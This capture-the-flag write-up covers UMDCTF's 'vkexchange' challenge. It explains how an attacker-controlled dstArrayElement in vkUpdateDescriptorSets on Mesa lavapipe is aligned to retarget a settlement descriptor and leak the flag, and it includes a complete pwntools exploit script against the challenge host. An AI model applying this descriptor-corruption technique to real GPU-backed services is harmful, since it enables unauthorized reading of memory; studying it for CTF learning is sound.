vkexchange
umdctf
Task: a Vulkan-based exchange service on Mesa lavapipe lets the user quote positions through vkUpdateDescriptorSets, but the chosen array element is attacker-controlled despite a single-descriptor binding. Solution: align the resulting out-of-bounds descriptor write onto the settlement clearing buffer descriptor, retarget it to an attacker-owned account buffer, then settle rounds to copy out the flag and read it back with audit_account.
$ ls tags/ techniques/
vkexchange — UMDCTF
Description
No original organizer description was preserved in the local workspace files.
English summary: the service exposes a small trading interface backed by Vulkan compute resources. The intended bug is not in the shader itself, but in how the host program updates storage-buffer descriptors for market quotes, which lets us corrupt a neighboring descriptor set and redirect a later GPU copy into memory we control.
Analysis
The important host helper is update_storage_desc(), which wraps vkUpdateDescriptorSets() with:
.dstBinding = binding, .dstArrayElement = array_elem, .descriptorCount = 1,
For quote_position(), array_elem comes directly from the user-supplied price_index. The program also enforces:
MIN_PRICE_INDEX = 32768- quote descriptor binding 0 has
descriptorCount = 1
So every valid quote writes far beyond the single descriptor that should exist in quote_book binding 0. On lavapipe from Mesa 22.3.6 this becomes exploitable because:
- each descriptor is 32 bytes
- each descriptor set has an 88-byte header before its descriptor array
- descriptor sets are individually allocated, but in practice land contiguously enough for deterministic cross-object corruption
That means a very large dstArrayElement can walk out of the quote_book allocation and start overwriting descriptors in a later descriptor set.
Why the first layout does not work
With one market configured as:
outcome_slots = 32768memo_bytes = 0
the target settlement_book descriptors are misaligned relative to the oversized quote_book walk. Only partial overlaps at indices 32775 through 32777 are reachable, and those corruptions crash instead of producing a useful retargeted descriptor.
Fixing alignment with memo_bytes = 8
The trick is to create one market with memo_bytes = 8.
That adds a 40-byte shift in lavapipe's descriptor layout:
- 32 bytes for the inline uniform descriptor
- 8 bytes for the inline uniform storage itself
This moves the neighboring settlement descriptors into a usable position. After the shift, quote_book index 32778 lands exactly on settlement descriptor 1, which is the clearing buffer used later during settlement.
Exploitation
The settlement compute shader copies oracle words into the clearing buffer:
if (push.mode == 0) { clearing_words[push.index] = oracle_words[push.index]; }
If we overwrite the clearing buffer descriptor so that it points to our own account buffer instead of the real clearing buffer, each settle() call copies one oracle word into our account. Since the oracle data contains the flag, repeated settles leak the secret into memory we can read back with audit_account().
Final exploit steps
open_account(0x100)- Fund that account with known bytes so the overwritten region is easy to recognize.
list_market(32768, 8)to create the alignment-correct descriptor layout.open_exchange()to allocate and arm the runtime objects.quote_position(32778, account=0, offset=0, range=0x100)to overwrite settlement descriptor 1 so it now references our account buffer.- Call
settle(round)for rounds0..63or until the service stops returningsettled. audit_account()the account buffer and extract the flag bytes copied there by the compute shader.
The key primitive is not arbitrary code execution. It is descriptor retargeting: the GPU keeps performing legitimate shader operations, but those operations now read or write attacker-chosen buffers because the descriptor metadata was corrupted first.
Final Exploit Script
#!/usr/bin/env python3 from pwn import * import re import sys HOST = "challs.umdctf.io" PORT = 30305 LOCAL_CMD = [ "docker", "run", "--rm", "-i", "--entrypoint", "/bin/sh", "vkexchange-app", "-c", "env LIBGL_ALWAYS_SOFTWARE=1 VK_ICD_FILENAMES=/usr/share/vulkan/icd.d/lvp_icd.aarch64.json /app/vkexchange", ] context.log_level = "info" def start(): if len(sys.argv) > 1 and sys.argv[1] == "local": return process(LOCAL_CMD) return remote(HOST, PORT) def cmd(io, n): io.sendlineafter(b"> ", str(n).encode()) def open_account(io, size): cmd(io, 1) io.sendlineafter(b"bytes: ", str(size).encode()) io.recvuntil(b"account: ") return int(io.recvline().strip()) def fund_account(io, acc, off, data): cmd(io, 2) io.sendlineafter(b"account: ", str(acc).encode()) io.sendlineafter(b"offset: ", str(off).encode()) io.sendlineafter(b"hex: ", data.hex().encode()) io.recvuntil(b"written") def audit_account(io, acc, off, size): cmd(io, 3) io.sendlineafter(b"account: ", str(acc).encode()) io.sendlineafter(b"offset: ", str(off).encode()) io.sendlineafter(b"bytes: ", str(size).encode()) line = io.recvline().strip() return bytes.fromhex(line.decode()) def list_market(io, outcome_slots, memo_bytes=0): cmd(io, 4) io.sendlineafter(b"outcome_slots: ", str(outcome_slots).encode()) io.sendlineafter(b"memo_bytes: ", str(memo_bytes).encode()) io.recvuntil(b"market id: ") return int(io.recvline().strip()) def open_exchange(io): cmd(io, 5) io.recvuntil(b"exchange open") def quote_position(io, price_index, acc, off, size): cmd(io, 6) io.sendlineafter(b"price_index: ", str(price_index).encode()) io.sendlineafter(b"account: ", str(acc).encode()) io.sendlineafter(b"offset: ", str(off).encode()) io.sendlineafter(b"range: ", str(size).encode()) io.recvuntil(b"quoted") def settle(io, word): cmd(io, 7) io.sendlineafter(b"round: ", str(word).encode()) return io.recvline().strip() def run_attempt(idx=32778): io = start() try: acc = open_account(io, 0x100) fund_account(io, acc, 0, b"A" * 0x100) list_market(io, 32768, 8) open_exchange(io) quote_position(io, idx, acc, 0, 0x100) for i in range(64): if settle(io, i) != b"settled": break data = audit_account(io, acc, 0, 0x80) return data finally: io.close() def main(): data = run_attempt() m = re.search(rb"UMDCTF\{[^}]+\}", data) if m: print(m.group().decode()) else: print(data) if __name__ == "__main__": main()
Local testing recovered UMDCTF{test_flag}. Running the same logic against the remote service produced the real challenge flag shown below.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [pwn][free]bookmaker— umdctf
- [pwn][free]velvet-table— umdctf
- [reverse][Pro]locked-in— DiceCTF 2026 Quals
- [web][free]Carabubu— alfactf
- [pwn][Pro]iz_heap_lv1 — BSS-pointer overlap + tcache poisoning— spbctf